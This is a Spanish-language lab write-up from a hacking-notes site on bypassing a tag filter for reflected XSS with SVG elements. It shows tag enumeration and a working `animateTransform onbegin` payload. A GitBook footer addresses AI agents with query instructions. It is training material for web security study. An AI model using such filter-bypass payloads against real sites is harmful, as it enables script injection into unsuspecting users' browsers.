> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/reflected-xss-with-svg-tags-allowed.md).

# XSS reflejado con etiquetas SVG permitidas

### XSS reflejado con algunas etiquetas SVG permitidas

Vulnerabilidad XSS. Piense en simple. La aplicación bloquea las etiquetas HTML comunes, pero permite pasar algunas etiquetas SVG y ciertos atributos/eventos. Objetivo: provocar `alert()` mediante una etiqueta SVG.

<figure><img src="/files/1c825cf05fb552aa43d2d9a42b41e32cca1c6f3e" alt=""><figcaption></figcaption></figure>

* Las etiquetas HTML convencionales están bloqueadas.
* Se realiza un recuento aproximado de las etiquetas autorizadas.

<figure><img src="/files/a5aa8bbf96ee0c97c2d04e6269feb65dd1c49b6f" alt=""><figcaption></figcaption></figure>

* Respuesta del servidor / pruebas que muestran las etiquetas encontradas: `animateTransform`, `image`, `svg`, `title`.

```javascript
<svg><animateTransform a=1>
<svg><animateTransform%20§a§=1>
```

* Pruebas de inserción sucesivas:
* `<svg><animateTransform a=1>` — inserción básica.
* intento de codificación / variación del espacio: `<svg><animateTransform%20a=1>` — para eludir el filtrado.
* El `onbegin` evento disponible se puede encontrar en `animateTransform`.

<figure><img src="/files/7c315ab45cf9aaf97f1930356aa323d6df8f788a" alt=""><figcaption></figcaption></figure>

```javascript
<svg><animateTransform onbegin=alert(0)></animateTransform></svg>
```

<figure><img src="/files/6eb7cc45560c08d3f2e67ab5b5363413e4445808" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/reflected-xss-with-svg-tags-allowed.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
